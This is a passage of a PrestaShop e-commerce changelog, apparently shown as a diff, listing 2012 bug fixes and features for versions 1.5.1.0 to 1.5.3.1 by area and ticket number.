Shop::addSqlRestrictionOnLang() for module installation + [-] Core: id_customer was missing in the SpecificPrice::getSpecificPrice() cache key #PSCFV-8086 + [-] Core: increase size of phone field + [-] Core : you must always have an id_shop in a SQL query, not null + [-] Core: bad operator used in PaymentModule #PSCFV-8040 + [-] Core: Fix #PSCFV-8012 attribute_url is sometimes null but also sometimes empty... + [-] Core: Mobile_Detect library upgrade to 2.5.5 + [-] Core: ProductSale no more takes products with no visibility Fixed bug that's ProductSale is taking products with no visibility, displaying them in module blockbestsellers. But as they have no visibility, we don't want to display them! + [-] CORE : do not verify ssl certificate when using CURL + [-] CORE : Fix too big query for lastNoneOrderedCart + [-] Core: Change cache key name of objectmodel now using classname against table name #PSCFV-7795 + [-] CORE : fixed bug #PSCFV-6545 - ImageManager::resize() error + [-] CORE : Fix warning when result from query is not a ressource + [-] Core: Fix rounding price computation with and without taxes #PSCFV-7796 + [-] Core: upgrade smarty to 3.1.13 + [-] CORe : Fix #PSCFV-7314 unregisterHook and unregisterExceptions in module::uninstall + [-] CORE : file_put_contents() returns the number of bytes that were written to the file, or FALSE on failure. + [-] CORE : Set default customer group to old default group when upgrading from 1.4.X + [-] CORE : order state preparation now generate delivery slip + [-] Core: Fix #PSCFV-6067 stock was not reserved sometimes because of time + [-] Core : Fixed a lot of issue with free shipping vouchers #PSCFV-7325 + [-] Core : cart rule cache cleared on update + [-] CORE : FIx #PSCFV-3163 getextendedstats returning new keys + [-] Core : prepend/append are now a little more optionnal in the routes for the dispatcher + [-] Core: Fix Tools::file_get_contents for post and curl + [-] CORE : fixed bug #PSCFV-6238 + [-] CORE : Bad placement of overrided Stock files + [-] CORE : Missing displayError for alias q + [-] Core: Fix #PSCFV-7484 cache in Product::priceCalculation + [-] Core: check the existence of the overriden emails templates before try to sending them + [-] CORE : email with virtual products info was not send to the customer + [-] Core: Store partial value in OrderCartRules #PSCFV-6566 + [-] Core: Hook actionUpdateQuantity was not called for product without attributes which depends on the physical stock + [-] CORE : fixed bug #PSCFV-6555 - Custom theme not working properly with image size + [-] CORE : fixed bug #PSCFV-5433 - Order confirmation email doesn't report customization + [-] CORE : fixed bug #PSCFV-4523 - Static _PS_DEFAULT_CUSTOMER_GROUP_ is still use in code even if deprecated 1.5.0.1 + [-] CORE : fixed bug #PSCFV-4754 field name in image_type was too short + [-] Core: Fix supplier_reference on cart/orders #PSCFV-6082 + [-] Core: Fix #PSCFV-5912 price computation on cart with multiple product without combinations + + [-] MO: followup - fix bug in template vars + [-] MO: pscleaner - fixed bugs We need to know that 'editorial' is a module and not always install (so, table can not be there). ps2 need to be _DB_PREFIX_ ! + [-] MO : Fix bug #PSCFV-8160 iframe in editor + [-] MO : Bug fix : AdminStores, smarty escape htmlall + [-] MO : Bug fix : AdminHomeController, allow_url_fopen && Tools::file_get_contents() + [-] MO : Fix bug #PSCFV-7822 could not load tinymce in referral program + [-] MO : fixed double entities of meta titles in blocklayered #PSCFV-7986 #PSCFV-7985 + [-] MO : fixed statsbestmanufacturers.php query #PSCFV-8075 + [-] MO: Fix max lenght allowed for 3 field on homeslider configuration #PSCFV-7897 + [-] MO: html was broken on statsdata configuration + [-] MO : fixed voucher currency in referral program #PSCFV-5950 + [-] MO : you should be able to empty values in homeslider #PSCFV-7407 + [-] MO: regenerate the class_index after adding a new override + [-] MO : applied unachieved patch on blockbestsellers + [-] MO: Clear blockcategories_footer.tpl cache + [-] MO: Display real price instead of Free for product which are not gifts on blockcart #PSCFV-6423 + [-] MO : statsforecast fixed #PSCFV-7399 + [-] MO : Fix bug #PSCFV-6364 pagination in loyalty module, thankx Matthieu@202-ecommerce.com + [-] MO : fixed bug #PSCFV-6407 - module follow up client + [-] MO : Fix warning on nbProducts + [-] MO : Fix bug #PNM-985 bad zone for carrier listing update + [-] MO : Fix bug #PNM-985 bad zone for cariier listing update + [-] MO : Update cart function was not functionning + optis + [-] MO: Fix #PSCFV-7416 product name in blocklayered listing with multishop + [-] MO: fix a problem with the wishlist_link With @ArtDesign, we see that if you put the module "Block MyAccount" before the "Wishlist", the wishlist_link var is not declare yet, so the link is empty. If you put the var in the header, it can be accessed by the other tpl. Or, we can put this in a {$link->getModuleLink(...)} in TPL + [-] MO : fixed phone number in mailalert #PSCFV-6667 + [-] MO: coding standard + [-] MO: coding standard + [-] MO: Fix blockviewd for non identified customers #PSCFV-6042 + + [-] WS: Fix #PSCFV-6559 deletion of category images + + [-] PDF : Fixed unecessary slash in manufacturer image path test In the file_exists test of the manufacturer image path there is an unecessary slash after the constant _PS_MANU_IMG_DIR_, and then we can't display a specific manufacturer image. + [-] PDF : Fixed unecessary slash in overriden template path + + [-] TR : Fix #PSCFI-6818 increase input vars in french + [-] TR : now you can use " or ' in tpl files + + Improved/changed features: + + [*] Installer: check if sessions path if writable + [*] Installer : mbstring check added (optionnal) #PSCFV-6489 + [*] Installer : installer improvements - Step 1 + [*] Installer : Automatically drop the system compatibility check when everything's alright // Fixed 'next' button when the page is refreshed + [*] Installer: pre-compile the smarty templates to improve the loading time of first connection + [*] Installer : Lower memory for update_order_messages.php + + [*] FO : Fix #PSCFV-7463 No Add to favorite for Chrome + [*] FO : Fix #PSCFV-6122 for better adresses aliasing in shopping-cart + [*] FO : Possibility of hook blocknewsletter in footer I'm added hook footer to blocknewsletter, it is great to theme developers + [*] FO : Possibility of hook blocknewsletter in footer + + [*] BO: More detailled errors when using Archive tar tool + [*] BO : remove tiny_mce hard coded setup to tinymce.inc.js + [*] BO : Set warning when trying to activate Xcache misconfigured + [*] BO : file_put_contents returns length when success not true + [*] BO : Add default Unknown.jpg to genders + [*] BO: add a save and stay button in CMS edit page This button was missing to edit easily CMS pages. + [*] BO: store filter by category in admin products + [*] BO : the option for accented URLs is now available in the backend + [*] BO: you can now export listing of some tabs in CSV + [*] BO: Add an option to htaccess generator to disable mod_security (some rules reject ajax file upload) + [*] BO: Improvements on customer services - you are now able to create new threads for synced emails + [*] BO: we don't need to clik on a line + [*] BO : Fix #PSCFI-6225 for 1.5.X + [*] BO : use the employee lang + [*] BO: Improve form of catalog price rules #PSCFV-6099 + + [*] CORE: Dissasemble CURLOPT_CONNECTTIMEOUT and CURLOPT_TIMEOUT in Tools::file_get_contents + [*] Core : added the possibility to disable the emails (i.e. for test purpose) + [*] Core : added automatic conversion of ',' into '.' for floating values + + [*] MO: Add smarty cache on editorial module + [*] MO: Add smarty cache on blocksocial + [*] MO: Add smarty cache on blocksearch + [*] MO: Add smarty cache on blockcustomerprivacy + [*] MO: Add smarty cache on homeslider + [*] MO: Add smarty cache on some modules + + [*] WS: Add contact entity + [*] WS: the customer services are now handled by webservices + + [*] TR: Update translations for errors + [*] TR : update translations for FR and DE + + [*] LO : Updated associations of countries and languages + + Added Features: + + [+] INSTALLER : added modules install from addons + + [+] BO : added new marketing tab + [+] BO : new display of payment modules in payment tab + [+] BO : you can choose where you want to display modules in BO tabs + [+] BO : new display of module list in all BO tabs + [+] BO : Added customer language on the customer page + + [+] CORE : added new hook actionModuleInstallBefore and actionModuleInstallAfter + [+] Core : added a boolean in the database (guest/cart/order) in order to know if the customer used the mobile theme for the order + [+] CORE : Add .txt extention to CHANGELOG + + [+] MO : new module PrestaShop Cleaner: Check and fix functional integrity constraints and remove default data + + [+] WS : Add product bundle retrieval from Web services + + +#################################### +# v1.5.3.1 - (2012-12-31) # +#################################### + + Fixed bugs: + + [-] Project: Fix bug when you want to upload (and resize) an image + [-] Installer: Fix #PSCFV-6392 redirect_type was missing on upgrade + [-] FO: Fix retrocompatibility for modules and old themes + [-] FO: Fix PHP warning on category controller + [-] BO : fixed accentuated URLs in products + + +#################################### +# v1.5.3.0 - (2012-12-28) # +#################################### + + Added Features: + + [+] Project: add the possibility to change the default color (#db3484) Let the user set the default color in the mail with a color picker (configuration set in Back Office, Themes) + + [+] FO: modifiy width and height smarty vars for the mobile logo + + [+] BO : you can now choose if a voucher is displayed under the cart in the frontend + [+] BO: modifiy width and height configuration for the mobile logo + [+] BO: modifiy smarty var $logo_url to have the mobile logo image if mobile version + [+] BO: add updateOptionPsLogoMobile() + [+] BO: add posibility to set a Mobile Header logo + [+] BO: Allow override loadUpgradeVersionList() + + [+] CORE : now you can choose the redirect option when your product is disable + + Fixed bugs: + + [-] INSTALLER : fixed bug #PSCFV-5721 Duplicate column name 'cover' part 2 + [-] INSTALLER : fixed bug #PSCFV-5721 Duplicate column name 'cover' + [-] Installer: Fix #PSCFV-5367 update of uploadable_files field was missing in the upgrade of multishop + [-] Installer : name of the supplier page fixed #PSCFV-5571 + [-] Installer : fixed missing backquote in update query #PSCFV-5331 + + [-] FO : vouchers created in the backend order creation are not displayed in the frontend anymore + [-] FO : fixed usage of "&" in the order messages added by the customers + [-] Fo : fixed warning in empty categories + [-] FO : fixed wrong variable + [-] FO : Mobile, data-ajax added on vouchers form + [-] FO : Mobile, bug fix (JS page reload on OPC) + [-] FO : fixed bug #PSCFV-4878 - When disable show prices for default group don't show product accessories + [-] FO : fixed multishipping crash when too many products and addresses + [-] FO: Fix cache product features #PSCFV-6138 + [-] FO : fixed loop redirect when pagination have 0 product + [-] FO : small js fix on gift checkbox update on mobile + [-] FO : small fix on mobile logo url + [-] FO : fixed bug #PSCFV-5980 && added 'js=1' in tpl when string is in script tag + [-] FO: The dispatcher now load the custom routes prior the defaults to avoid infinite loops + [-] FO : fixed bug #PSCFV-6057 - In step 4 by pressing terms and conditions, do not load css in Internet Explorer 8 + [-] FO: CLONE - order_conf still not fixed propertly #2 - #PSCFV-5817 + [-] FO : jquery mobile was not compatible with js minifier, I updated both + [-] FO: fix The French order_return_state HTML mail template has the wrong colours - #PSCFV-6005 + [-] FO: fix Image attributes not set - #PSCFV-5957 + [-] FO : mobile template - states management + [-] FO: FIX #PSCFV-5703 quotes in modules translations break javascript execution + [-] FO : fixed bug #PSCFV-5849 now customer addresses can't be edited if country is not enable in this shop excepte if group shop is shared order + [-] FO: Fix some tax_display_method value for not default customer group + [-] FO: Fix cart summary ajax refreshment + [-] FO: improvement on h4/h5 edits (id become class) + [-] FO : fixed bug #PSCFV-5826 #PSCFV-4697 Live edit only works for home page && Live edit can't load module + [-] FO: js was missing on order follow #PSCFV-5441 + [-] FO: fix CSS / formatting needed on blocks - #PSCFV-3013 + [-] FO: fix Add to cart button needs some changes in its css code - #PSCFV-5933 + [-] FO : fixed bug #PSCFV-5563 - address can't be changed when making an order as a guest + [-] FO : fixed bug #PSCFV-5776 - Converting a guest account via GuestTrackingController allows empty passwords, warns of an invalid password but DOES convert the account + [-] FO: Don't display categories in breadcrumb if there are not associated to the shop + [-] FO: Bug CSS on SAFARI with iphone or ipad - #PSCFV-5704 + [-] FO: fix #product_list li span.new: IE 6,7,8 bug: New product badge not correct position - #PSCFV-5898 + [-] FO: added border-right on product-comparison table + [-] FO : show mobile theme if you have click "Broswe the mobile site" on a PC + [-] FO : fixed bug #PSCFV-5871 - URL rewrite with layered disabled + [-] FO: fix Referral Program Email link fix generates duplicate address in the url - #PSCFV-5853 Fixed in all languages + [-] FO : fixed bug #PSCFV-5865 - Payment modules are not visible in the hookPayment for a foreigner country + [-] FO: fix The "Compare buttons" on the Manufacturers List page is coded incorrectly... - #PSCFV-5636 I also fixed this bug on the supplier list + [-] FO: fix Can't create consumer account if blockcart module is disabled - baseUri not defined - #PSCFV-5667 + [-] FO: bug fixed on infos fields authentification + [-] FO: Fix cookie problem when accessing not accessing to the shop with the main url + [-] FO: PSCFV-4181: pruneoff unavailable products + [-] FO : fixed bug #PSCFV-5293 - product link rewrite bug with category keyword + [-] FO: add target="_blank" on the "powered by" link in the footer + [-] FO: Availability was not displayed anymore on product listing #PSCFV-5698 + [-] FO: Search product listing should use the stock of default attribute as in category product listing + [-] FO : changed redirection management when accessing page number out of scope #PSCFV-5567 + [-] FO : fixed a problem with quantity of customized products #PSCFV-5630 [-] FO : removed cart rules already in the cart from available cart rules in the cart summary + [-] FO : removed useless extra parameter not implemented in Manufacturer::getManufacturers() #PSCFV-5771 + [-] FO : fixed parse error on ContactController.php #PSCFV-5803 + [-] FO : fixed bug #PSCFV-5649 - Product comparison error when Features are not set + [-] FO : store locator working hours fixed #PSCFV-5709 + [-] FO : fixed bug #PSCFV-5779 - order_conf still not fixed propertly + [-] FO: Fix #PSCFV-5052 update the cart rules in the cart when the address is changed + [-] FO : fixed error in price cache (multishop not taken into account) #PSCFV-5612 + [-] FO : added missing e-mail control on identity controller #PSCFV-5645 + [-] FO : cookie lifetime is now set with the front end lifetime value instead of the BO value #PSCFV-5668 + [-] FO: Fix: many fixes - domain for cookies with different url for ssl / add to cart button for minimal quantities with product attributes + [-] FO : fixed bug #PSCFV-5481 + [-] FO : fixed bug #PSCFV-5460 + [-] FO : fixed bug #PSCFV-4783 + [-] FO: Fix #PSCFV-5652 url redirection after a guest order was bas + [-] FO : Fix #PSCFV-5239 bad rewrite rule for category with no image + [-] FO : fixed bug #PSCFV-5324 - Product url rewrite contains "root/home/" + [-] FO: Fix #PSCFV-5359 do not redirect to canonical url on 404 error + [-] FO : you cannot reset the password of a deactivated account anymore #PSCFV-5621 + [-] FO : replaced order id by order reference in the contact form (but kept the id_order for retrocompatibility) #PSCFV-5491 + [-] FO : replaced order id by order reference in the contact form (but kept the id_order for retrocompatibility) #PSCFV-5491 + [-] FO : fixed bug on mobile them with opc can't place order. + [-] FO : fixed bug #PSCFV-5617 - fixed bug #PSCFV-5616 - mobile theme issues + [-] FO : wrong cache ID fixed #PSCFV-5537 + [-] FO : fixed bug #PSCFV-5368 - CMS pages are all blank in front but exists in admin + [-] FO : fixed geolocation issue (which caused some unexpected cart reset) + [-] FO : removed deprecated configuration var "PS_VOUCHERS" #PSCFV-5240 // Removed useless DOS protection + [-] FO : Fix error with geolocation enabled and satellite connection + [-] FO : Fix 2 SSL links on order-follow tpl #PSCFV-5441 + [-] FO : shipping should not be free because the products in cart cart are free #PSCFV-5303 + [-] FO : restored the display of available cart rules in the cart #PSCFV-5473 (clean) + [-] FO : fixed validation of birthdates #PSCFV-5465 + [-] FO : restored the display of available cart rules in the cart #PSCFV-5473 + [-] FO : Fix the group/zone/shop restriction on carriers when using advanced stock management + [-] FO : missing vars in contact email replaced #PSCFV-4852 + [-] FO : fixed bug #PSCFV-5236 - 2 issues with Customer::outstanding_allow_amount + [-] FO : fixed bug #PSCFV-5398 - "In stock" in the product page write in red + [-] FO : fixed bug #PSCFV-5304 - theme tools.js needed in OrderFollowController.php and OrderSlipController.php + [-] FO : fixed bug #PSCFV-5039 + [-] FO: Fix #PSCFV-5220 exception when birthday date is invalid + [-] FO : Fix #PSCFV-5216 specific prices on cart refreshment when deleting product + + [-] BO : better error management for translation packs + [-] BO : fixed translations on templates + [-] BO : fixed image settings form #PSCFV-5458 + [-] BO : fixed warnings on the anti-XSS page + [-] BO : fixed weight and distance units validation + [-] BO : fixed image upload (except with OVH firewall) #PSCFV-6152 #PSCFV-6157 #PSCFV-5862 #PSCFV-5756 #PSCFV-6074 #PSCFV-5459 + [-] BO: Fix #PSCFV-6172 don't htmlentities the cart rule name && increase size of name order_cart_rule field + [-] BO : fixed bug #PSCFV-5408 - Affect a new zone button for selected states in States doesn't work correctly + [-] BO : fixed duplicate code management on cart rules #PSCFV-6119 + [-] BO: Fix catalog price rules creation with mysql strict mod #PSCFV-5916 + [-] BO: useSSL global does not exist anymore #PSCFV-6113 + [-] BO: don't display stock available if stock management is disabled #PSCFV-6029 + [-] BO: Improve memory usage in admin product in global context with a lot of shops and attributes + [-] BO: Fix root category should anyway be imported in shop creation #PSCFV-5885 + [-] BO: Fix various bugs in categories ntree generation + [-] BO : fixed bug #PSCFV-6000 - added check if zip uploaded is a real module in AdminModules + [-] BO : fixed bug #PSCFV-5991 - CMS friendly URL does not automatically copied + [-] BO : added import button on listing + [-] BO : fixed bug #PSCFV-5774 BO SAV : the response of the admin appears without newline + [-] BO : fixed bug #PSCFV-4701 - Module onclickOption is not called + [-] BO : fixed bug #PSCFV-4699 - Module uninstall confirmation message is missing + [-] BO: Fix #PSCFV-4889 don't delete product if physical stock > 0 + [-] BO: Add display of modules errors on reset #PSCFV-2077 + [-] BO: Fix #PSCFV-5706 save of product availability on global context + [-] BO : fixed bug when toggle status on product listing, redirect_type was not good + [-] BO: Fix #PSCFV-5345 quotes in translations of languages packs imported + [-] BO: Fix #PSCFV-5332 wrong rights on folder after uploading image + [-] BO: Fix category association in global context #PSCFV-5551 + [-] BO : fixed bug #PSCFV-5501 - Can't edit Guest AccountAddress in Custumer -> Addresses + [-] BO : fixed bug #PSCFV-5743 - modify status Preparation in progress and remove the delivery flag + [-] BO : fixed bug #PSCFV-5610 Credit slip reference is too short [*] BO : added prefix on credit slip reference + [-] BO : improved error display on admincarriers #PSCFV-5660 + [-] BO: Fix product image link for admin orders #PSCFV-5163 + [-] BO : added Module::getInstanceByName brefore ->loadUpgradeVersionList + [-] BO : fixed bug #PSCFV-5838 Advanced Parameters - E-mail - Custom SMTP does not work if the password contains symbols '<' or '>' + [-] BO : you can now remove the english language by whatever mean you like most #PSCFV-5815 + [-] BO : admin does not crash anymore when custom BO theme is not available #PSCFV-5492 + [-] BO : fixed duplicated rows with free order in dashboard stats #PSCFV-5626 + [-] BO : fixed filters on statuses tab #PSCFV-5763 + [-] BO: Fix #PSCFV-5207 update of some fields on multishop with deleted property + [-] BO : fixed sorting and filter in BO tabs #PSCFV-5618 + [-] BO: Fix the product indexation only on the default shop #PSCFV-5227 + [-] BO : image regeneration now gives a better reporting and crash less #PSCFV-5519 + [-] BO : tag saving does not crash with a bad line ending anymore #PSCFV-5663 + [-] BO: Fix #PSCFV-5445 - carts are empty on global context in the AdminCarts + [-] BO : you can search a product by supplier reference again #PSCFV-5723 + [-] BO : check the folder permissions before writing PDF translations in the theme + [-] BO : forbid the creation of 2 cart rules with the same code #PSCFV-5737 + [-] BO : added missing width and height of the logo in the supplier order PDF + [-] BO: FIX #PSCFV-5088 - cant add a tax rule to a group if one have already defined as unique + [-] BO : fixed bug #PSCFV-5141 - Product Url being rewritten when a product is edited + [-] BO: Fix #PSCFV-4284 combinations import should delete available stock for combinations and not for products + [-] BO: Remove useless warning #PSCFV-5122 + [-] BO : Fix #PSCFV-4949 position updating after deleting a category from a product + [-] BO: Fix #PSCFV-5109 translations of admin module controller + [-] BO: Fix #PSCFV-5263 tax rule deletion on tax rules group deletion + [-] BO : fixed bug #PSCFV-4855 - AdminTab1.5 compatibility ; datepicker not included in listHeader + [-] BO : fixed JS bug in category creation with URL rewrite field + [-] BO: Fix language pack export + [-] BO: Fix #PSCFV-5344 stock reinjecting values on returning products with advanced stock management + [-] BO : fixed form bug with voucher with a value < 1.00 #PSCFV-5523 + [-] BO : fix the change of advanced stock management in the products on GroupShop context #PSCFV-5521 + [-] BO : Fix PDF translations with default theme without DEV MODE #PSCFV-4888 + [-] BO : date format in PDF fixed #PSCFV-5178 + [-] BO : fixed bug #PSCFV-5387 - Impossible to add more than 13 Keywords in index page (SEO & URLs) + [-] BO : fixed bug #PSCFV-5105 - Internal server error 500 on fields names translation + [-] BO : added more details when fail to regenerate thumbnails + [-] BO: OrderSlips should not be deleted && add icon to download pdfs on admin order slips + [-] BO: Fix product attribute values on product duplication with multishop #PSCFV-5435 + [-] BO : Fix carrier association listing on warehouse form + [-] BO: delete the carrier on the warehouse from the id_reference + [-] BO : fixed bug #PSCFV-5355 - issue in Carrier::delete() and Carrier::cleanPositions() + [-] BO : fixed bug #PSCFV-5385 - bug in SEO and URL, select field "page" + [-] BO : fixed bug #PSCFV-5321 - decreasing unit price impact in combinations not possible + [-] BO : fixed bug #PSCFV-4274 - supplier reference missing in csv import of combinations + [-] BO : fixed bug #PSCFV-4795 - Broken pack option for products with apostrophe in translation + [-] BO : Fix #PSCFV-4858 + [-] BO : Fix #PSCFV-4710 - html was not saved in backups made in backoffice + [-] BO: #PSCFV-5258 increase the allowed displayed results for product autocomplete + [-] BO : fixed bug #PSCFV-5155 + [-] BO : fixed bug adminStores when enable multistory crash on save store + [-] BO : Fix #PSCFV-5223 add product should be available when the package is not shipped + [-] BO : fixed bug #PSCFV-4787 - Administration > Quick Access: token issue + [-] BO : fixed bug #PSCFV-5251 - unable deactivate product via CSV import + [-] BO : fixed bug #PSCFV-5230 - Employees skip permits on bulk delete category + [-] BO : fixed bug #PSCFV-4844 - Category Image is deleted after update + [-] BO : fix #PSCFV-5087 + + [-] Classes : Bug fix : Modules, check module instance + [-] Classes : Bug Fix : AdminStoresController (parse error) + + [-] Core: the gift wrapping taxes is now handled by tax rules group + [-] CORE : fixed bug #PSCFV-5116 Horizontal top menu cache + [-] Core: The emails can now be sent with amazon SES when logo is in png + [-] CORE : fixed bug #PSCFV-4754 Image sizes are the same for all shops and themes + [-] Core: Fix #PSCFV-6162 - can't add no tax for specific zip code or state + [-] Core: Fix #PSCFV-5997 - Product::priceCalculation not return the price of default combination + [-] CORE : fixed bug #PSCFV-6084 + [-] CORE : fixed bug #PSCFV-6098 Double @ in customer email address crashes BO + [-] Core: send email when payment is remotly accepted #PSCFV-6064 + [-] Core: Fix Swift and TCPDF for hosting which disallow getmypid() php function + [-] Core: Fix search indexation when id_product is forced #PSCFV-6039 + [-] CORE : fixed sql bug in PaymentModuleCore::getInstalledPaymentModules() - now get only active payment modules + [-] CORE : small fix in Dispatcher::createURL() when friendly URL is disabled + [-] Core: Locales should be setted anywhere #PSCFV-5953 + [-] Core: Fix #PSCFV-5948 id_warehouse was sometime set to null on validateorder with stock management disabled + [-] Core: Fix #PSCFV-5966 the tax rate applied to shipping cost for the visitors was the product tax rate + [-] Core: Fix isDate validator + [-] Core: Fix date validator #PSCFV-5797 + [-] CORE : fixed bug #PSCFV-5536 - Layout for index controller is broken + [-] CORE : fixed some bad include of jquery plugin + [-] CORE : fixed bug #PSCFV-5572 - getJqueryPluginCSSPath method does not pass folder argument + [-] Core: Fix #PSCFV-5561 many payment informations are added when product is out of stock on order validation + [-] Core: Fix #PSCFV-5301 Product::isDiscounted was returned a bad value + [-] CORE : fixed bug #PSCFV-5514 - Override of module language file type fr.php in theme + [-] CORE : fixed bug #PSCFV-5700 - loop on undefined variable, typo, quote missing in generic_add_missing_column.php + [-] CORE : fixed bug #PSCFV-5400 - jquery.ui.core.css is never used + [-] Core: Fix products duplication when using multiple taxe rule on the same country + [-] Core: Fix #PSCFV-5327 the computation of real stock quantities was bad sometimes + [-] Core: fix regular expression patterns for some hosting which don't support unicode + [-] CORE : fixed bug #PSCFV-5261 - No easy way to associate xxx_shop table for an object => added Shop:: addTableAssociation($table_name, $table_details) + [-] Core: Fix #PSCFV-5238 cache_has_attachments field update + [-] Core : fix id_warehouse used for orders + [-] Core : Fix #PSCFV-5370 + [-] Core: StockAvaible::updateQuantity should return a value + [-] CORE : fixed bug #PSCFV-5190 - ObjectModel setDefinitionRetrocompatibility faulty + [-] CORE : fixed bug #PSCFV-4910 - bug with cache_default_attribute when converting a product to pack + [-] CORE : fixed bug #PSCFV-5153 - intifier and desintifier from Cart class are not reliable + [-] CORE : fixed bug #PSCFV-5252 - Module::addOverride() erase existing override method already existe + [-] Core : Fix #PSCFV-5194 object instead of object name stored in class definition + + [-] MO : statsbestvouchers small fix (but great difference) + [-] MO : fixed bad path in productcomments + [-] MO : fixed bad character in the statsbestvouchers module + [-] MO : fixed bugs on RSS modules + [-] MO: Fix Wishlist controller with ssl #PSCFV-5943 + [-] MO: Mailalert should send alert for new order independently of the stock management + [-] MO : fixed backslashes in homeslider #PSCFV-5664 + [-] MO : fixed bug #PSCFV-5396 - Notices when ordering categories with layered navigation module + [-] MO : use addJS instead of a tpl file + [-] MO: Fix #PSCFV-5246 add and remove favorite products was not working using SSL + [-] MO : block RSS encoding fixed #PSCFV-5689 + [-] MO : fixed referralprogram uninstall #PSCFV-5680 + [-] MO : "delete" in the module list now uninstall the module before deleting the files + [-] MO : fixed bug #PSCFV-5348 - cant load any tinymce in any bo module works only in cms pages + [-] MO: Fix Bankwire validation link using SSL #PSCFV-5266 + [-] MO : statsdata must use SSL when tracking a secure page #PSCFV-5443 + [-] MO : upgrade files are now called in the right order #PSCFV-5315 + [-] MO : fixed bug #PSCFV-5379 - code problem in editorial.php at function hookDisplayHome + [-] MO : fixed bug #PSCFV-4632 - no german translation for my-account block in footer + [-] MO : fixed bug #PSCFV-5333 - blockuserinfo css fails with localization + [-] MO : fixed bug #PSCFV-5335 - duplication of background value in blockmyaccountfooter module + + [-] WS: Fix #PSCFV-5915 temporary images deletion + [-] WS: #PSCFV-5982 logo email/invoices/mail don't return standard logo if not exists + [-] WS: Fix #PSCFV-5981 logo path + [-] WS : cart rules were missing in the WS #PSCFV-5602 + + Improved/changed features: + + [*] FO : mobile template - states management Put "p" and "div" in the same selector + [*] FO : Bug fix : h4 -> title_block + [*] FO : Cart vouchers style edited + [*] FO : improve SEO and http error code + [*] FO: use initLogoAndFavicon() function + [*] FO: add initLogoAndFavicon() + [*] FO : fixed wrong display of weight units in product comparaison #PSCFV-5662 + + [*] BO : moved sample csv file + [*] BO : added backup of the settings file whenever there is a modification #PSCFV-5676 + [*] BO : the global search now looks into the modules + [*] BO : Mobile theme checks that the PayPal module is installed. + [*] BO : you can now search by order reference #PSCFV-5592 + + [*] Core: conversion_rate of currencies are now multishop + + [*] WS : add accessories association to product webservices + + +#################################### +# v1.5.2.0 - 17927 (2012-10-23) # +#################################### + + Added Features: + + [+] CORE : added transaction_id in PaymentModule::validateOrder() in $extra_vars['transaction_id'] + + Fixed bugs: + + [-] INSTALLER : fixed bug #PSCFV-4809 + + [-] FO : fixed bug #PSCFV-4625 + [-] FO : fixed bug #PSCFV-4702 + [-] FO : fixed bug #PSCFV-4946 + [-] FO : fixed bug #PSCFV-4950 + [-] FO : fixed bug #PSCFV-5007 + [-] FO : fixed bug #PSCFV-5048 + + [-] BO : fix #PSCFV-4053 + [-] BO : fix #PSCFV-4764 + [-] BO : fix #PSCFV-4766 + [-] BO : fix #PSCFV-4816 + [-] BO : fix #PSCFV-4846 + [-] BO : fix #PSCFV-4848 + [-] BO : fix #PSCFV-4854 + [-] BO : fix #PSCFV-4862 + [-] BO : fix #PSCFV-4884 + [-] BO : fix #PSCFV-4888 + [-] BO : fix #PSCFV-4901 + [-] BO : fix #PSCFV-4933 : add recursively index.php file + [-] BO : fix #PSCFV-4953 + [-] BO : fix #PSCFV-4988 + [-] BO : fix #PSCFV-5008 + [-] BO : fix #PSCFV-5019 + [-] BO : fix #PSCFV-5031 + [-] BO : fixed bug #PSCFV-4209 + [-] BO : fixed bug #PSCFV-4439 + [-] BO : fixed bug #PSCFV-4653 + [-] BO : fixed bug #PSCFV-4674 + [-] BO : fixed bug #PSCFV-4750 + [-] BO : fixed bug #PSCFV-4769 + [-] BO : fixed bug #PSCFV-4865 + + [-] Classes : Hook - Display payment method & shop default currency bug fix + + [-] CORE : fixed bug #PSCFV-4595 + [-] CORE : fixed bug #PSCFV-4759 + [-] CORE : fixed bug #PSCFV-4860 + [-] Core : Fix #PSCFV-4986 + + [-] MO : fixed bug #PSCFV-4602 + [-] MO : fixed bug #PSCFV-4829 + [-] MO : fixed bug #PSCFV-4897 + [-] MO : fixed bug #PSCFV-4932 + [-] MO : fixed bug #PSCFV-4952 + + +#################################### +# v1.5.1.0 - 17784 (2012-10-04) # +#################################### + + Improved/changed features: + + [*] TR : Loyalty module FR translation updated + + +#################################### +# v1.5.1.0 - 17771 (2012-10-04) # +#################################### + + Improved/changed features: + + [*] Installer : added brazilian/portuguese + + [*] Classes : Tools::replaceAccentedChars() method improved (lowercase/uppercase chars) + + [*] TR : update translations + + Added Features: + + [+] FO : now you can choose if at least on phone number is required + + [+] BO : Add CloudCache in Performance Tab + + Fixed bugs: + + [-] INSTALLER : fixed bug #PSCFV-4072 + [-] Installer : Fix #PSCFV-4306 + [-] Installer : removed calls to Tools in installer (replace by local function) #PSCFV-4113 + + [-] FO : #PSCFV-4329 + [-] FO : #PSCFV-4356 : index.php added when this file not exist on the default theme + [-] FO : URL possibly misinterpreted (remove a product in the cart) #PSCFV-4179 + [-] FO : blockcart was only able to remove 1 product at a time #PSCFV-4170 + [-] FO : changed confusing "free shipping" mention #PSCFV-4151 + [-] FO : fixed #PSCFV-4120 + [-] FO : fixed #PSCFV-4123 + [-] FO : fixed bug #PSCFI-2571 #PSCFI-2571 + [-] FO : fixed bug #PSCFV-4092 + [-] FO : fixed bug #PSCFV-4112 + [-] FO : fixed bug #PSCFV-4117 + [-] FO : fixed bug #PSCFV-4137 + [-] FO : fixed bug #PSCFV-4175 + [-] FO : fixed bug #PSCFV-4223 + [-] FO : fixed bug #PSCFV-4310 + [-] FO : fixed bug #PSCFV-4316 + [-] FO : fixed bug #PSCFV-4317 + [-] FO : fixed bug #PSCFV-4336 + [-] FO : fixed bug #PSCFV-4340 + [-] FO : fixed bug #PSCFV-4341 + [-] FO : fixed bug #PSCFV-4347 + [-] FO : fixed bug #PSCFV-4357, #PSCFV-4270 + [-] FO : fixed bug #PSCFV-4367 + [-] FO : fixed bug #PSCFV-4368 + [-] FO : fixed bug #PSCFV-4388 + [-] FO : fixed bug #PSCFV-4414 + [-] FO : fixed bug #PSCFV-4488 + [-] FO : fixed bug #PSCFV-4490 + [-] FO : fixed bug #PSCFV-4495 + [-] FO : fixed bug #PSCFV-4526 + [-] FO : fixed bug #PSCFV-4535 + [-] FO : fixed bug #PSCFV-4553 + [-] FO : fixed bug #PSCFV-4557 + [-] FO : fixed bug #PSCFV-4611 + [-] FO : fixed bug #PSCFV-4618 + [-] FO : fixed width bug #PSCFV-4245 + [-] FO : instant search relevancy fixed #PSCFV-4267 + [-] FO : mobile theme : fix #PSCFV-4275 + [-] FO : mobile theme : fix #PSCFV-4275 : delete 